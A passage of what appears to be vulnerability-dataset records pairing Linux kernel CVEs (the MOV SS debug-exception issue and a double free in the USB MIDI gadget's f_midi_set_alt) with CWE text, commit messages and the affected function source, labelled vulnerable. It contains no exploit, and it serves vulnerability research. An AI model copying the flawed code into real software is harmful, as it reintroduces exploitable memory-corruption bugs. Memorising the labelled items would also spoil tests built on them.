'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:freebsd:freebsd:*:*:*:*:*:*:*:*', 'versionStartIncluding': '11.0', 'versionEndExcluding': '11.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': "A statement in the System Programming Guide of the Intel 64 and IA-32 Architectures Software Developer's Manual (SDM) was mishandled in the development of some or all operating-system kernels, resulting in unexpected behavior for #DB exceptions that are deferred by MOV SS or POP SS, as demonstrated by (for example) privilege escalation in Windows, macOS, some Xen configurations, or FreeBSD, or a Linux kernel crash. The MOV to SS and POP SS instructions inhibit interrupts (including NMIs), data breakpoints, and single step trap exceptions until the instruction boundary following the next instruction (SDM Vol. 3A; section 6.8.3). (The inhibited data breakpoints are those on memory accessed by the MOV to SS or POP to SS instruction itself.) Note that debug exceptions are not inhibited by the interrupt enable (EFLAGS.IF) system flag (SDM Vol. 3A; section 2.3). If the instruction following the MOV to SS or POP to SS instruction is an instruction like SYSCALL, SYSENTER, INT 3, etc. that transfers control to the operating system at CPL < 3, the debug exception is delivered after the transfer to CPL < 3 is complete. OS kernels may not expect this order of events and may therefore experience unexpected behavior when it occurs."}]
2019-10-03T00:03Z
2018-05-08T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Andy Lutomirski
2015-07-23 15:37:48-07:00
x86/entry/64: Don't use IST entry for #BP stack There's nothing IST-worthy about #BP/int3. We don't allow kprobes in the small handful of places in the kernel that run at CPL0 with an invalid stack, and 32-bit kernels have used normal interrupt gates for #BP forever. Furthermore, we don't allow kprobes in places that have usergs while in kernel mode, so "paranoid" is also unnecessary. Signed-off-by: Andy Lutomirski <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> Signed-off-by: Thomas Gleixner <[email protected]> Cc: [email protected]
d8ba61ba58c88d5207c1ba2f7d9a2280e7d03be9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
do_int3
do_int3( struct pt_regs * regs , long error_code)
['regs', 'error_code']
dotraplinkage void notrace do_int3(struct pt_regs *regs, long error_code) { #ifdef CONFIG_DYNAMIC_FTRACE /* * ftrace must be first, everything else may cause a recursive crash. * See note by declaration of modifying_ftrace_code in ftrace.c */ if (unlikely(atomic_read(&modifying_ftrace_code)) && ftrace_int3_handler(regs)) return; #endif if (poke_int3_handler(regs)) return; ist_enter(regs); RCU_LOCKDEP_WARN(!rcu_is_watching(), "entry code didn't wake RCU"); #ifdef CONFIG_KGDB_LOW_LEVEL_TRAP if (kgdb_ll_trap(DIE_INT3, "int3", regs, error_code, X86_TRAP_BP, SIGTRAP) == NOTIFY_STOP) goto exit; #endif /* CONFIG_KGDB_LOW_LEVEL_TRAP */ #ifdef CONFIG_KPROBES if (kprobe_int3_handler(regs)) goto exit; #endif if (notify_die(DIE_INT3, "int3", regs, error_code, X86_TRAP_BP, SIGTRAP) == NOTIFY_STOP) goto exit; /* * Let others (NMI) know that the debug stack is in use * as we may switch to the interrupt stack. */ debug_stack_usage_inc(); cond_local_irq_enable(regs); do_trap(X86_TRAP_BP, SIGTRAP, "int3", regs, error_code, NULL); cond_local_irq_disable(regs); debug_stack_usage_dec(); exit: ist_exit(regs); }
148
True
1
CVE-2018-20961
False
False
False
False
AV:N/AC:L/Au:N/C:C/I:C/A:C
NETWORK
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
10.0
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NETWORK
LOW
NONE
NONE
UNCHANGED
HIGH
HIGH
HIGH
9.8
CRITICAL
3.9
5.9
False
[{'url': 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.16.4', 'name': 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.16.4', 'refsource': 'MISC', 'tags': ['Release Notes', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/7fafcfdf6377b18b2a726ea554d6e593ba44349f', 'name': 'https://github.com/torvalds/linux/commit/7fafcfdf6377b18b2a726ea554d6e593ba44349f', 'refsource': 'MISC', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7fafcfdf6377b18b2a726ea554d6e593ba44349f', 'name': 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7fafcfdf6377b18b2a726ea554d6e593ba44349f', 'refsource': 'MISC', 'tags': ['Exploit', 'Mailing List', 'Vendor Advisory']}, {'url': 'https://seclists.org/bugtraq/2019/Aug/48', 'name': '20190826 [slackware-security] Slackware 14.2 kernel (SSA:2019-238-01)', 'refsource': 'BUGTRAQ', 'tags': []}, {'url': 'http://packetstormsecurity.com/files/154228/Slackware-Security-Advisory-Slackware-14.2-kernel-Updates.html', 'name': 'http://packetstormsecurity.com/files/154228/Slackware-Security-Advisory-Slackware-14.2-kernel-Updates.html', 'refsource': 'MISC', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K58502654', 'name': 'https://support.f5.com/csp/article/K58502654', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://security.netapp.com/advisory/ntap-20190905-0002/', 'name': 'https://security.netapp.com/advisory/ntap-20190905-0002/', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://usn.ubuntu.com/4145-1/', 'name': 'USN-4145-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K58502654?utm_source=f5support&amp;utm_medium=RSS', 'name': 'https://support.f5.com/csp/article/K58502654?utm_source=f5support&amp;utm_medium=RSS', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://packetstormsecurity.com/files/154951/Kernel-Live-Patch-Security-Notice-LSN-0058-1.html', 'name': 'http://packetstormsecurity.com/files/154951/Kernel-Live-Patch-Security-Notice-LSN-0058-1.html', 'refsource': 'MISC', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-415'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.16.4', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In the Linux kernel before 4.16.4, a double free vulnerability in the f_midi_set_alt function of drivers/usb/gadget/function/f_midi.c in the f_midi driver may allow attackers to cause a denial of service or possibly have unspecified other impact.'}]
2019-08-27T09:15Z
2019-08-07T15:15Z
Double Free
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.
https://cwe.mitre.org/data/definitions/415.html
0
Yavuz, Tuba
2018-03-23 17:00:38+00:00
USB: gadget: f_midi: fixing a possible double-free in f_midi It looks like there is a possibility of a double-free vulnerability on an error path of the f_midi_set_alt function in the f_midi driver. If the path is feasible then free_ep_req gets called twice: req->complete = f_midi_complete; err = usb_ep_queue(midi->out_ep, req, GFP_ATOMIC); => ... usb_gadget_giveback_request => f_midi_complete (CALLBACK) (inside f_midi_complete, for various cases of status) free_ep_req(ep, req); // first kfree if (err) { ERROR(midi, "%s: couldn't enqueue request: %d\n", midi->out_ep->name, err); free_ep_req(midi->out_ep, req); // second kfree return err; } The double-free possibility was introduced with commit ad0d1a058eac ("usb: gadget: f_midi: fix leak on failed to enqueue out requests"). Found by MOXCAFE tool. Signed-off-by: Tuba Yavuz <[email protected]> Fixes: ad0d1a058eac ("usb: gadget: f_midi: fix leak on failed to enqueue out requests") Acked-by: Felipe Balbi <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
7fafcfdf6377b18b2a726ea554d6e593ba44349f
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
f_midi_set_alt
f_midi_set_alt( struct usb_function * f , unsigned intf , unsigned alt)
['f', 'intf', 'alt']
static int f_midi_set_alt(struct usb_function *f, unsigned intf, unsigned alt) { struct f_midi *midi = func_to_midi(f); unsigned i; int err; /* we only set alt for MIDIStreaming interface */ if (intf != midi->ms_id) return 0; err = f_midi_start_ep(midi, f, midi->in_ep); if (err) return err; err = f_midi_start_ep(midi, f, midi->out_ep); if (err) return err; /* pre-allocate write usb requests to use on f_midi_transmit. */ while (kfifo_avail(&midi->in_req_fifo)) { struct usb_request *req = midi_alloc_ep_req(midi->in_ep, midi->buflen); if (req == NULL) return -ENOMEM; req->length = 0; req->complete = f_midi_complete; kfifo_put(&midi->in_req_fifo, req); } /* allocate a bunch of read buffers and queue them all at once. */ for (i = 0; i < midi->qlen && err == 0; i++) { struct usb_request *req = midi_alloc_ep_req(midi->out_ep, midi->buflen); if (req == NULL) return -ENOMEM; req->complete = f_midi_complete; err = usb_ep_queue(midi->out_ep, req, GFP_ATOMIC); if (err) { ERROR(midi, "%s: couldn't enqueue request: %d\n", midi->out_ep->name, err); free_ep_req(midi->out_ep, req); return err; } } return 0; }
244
True
1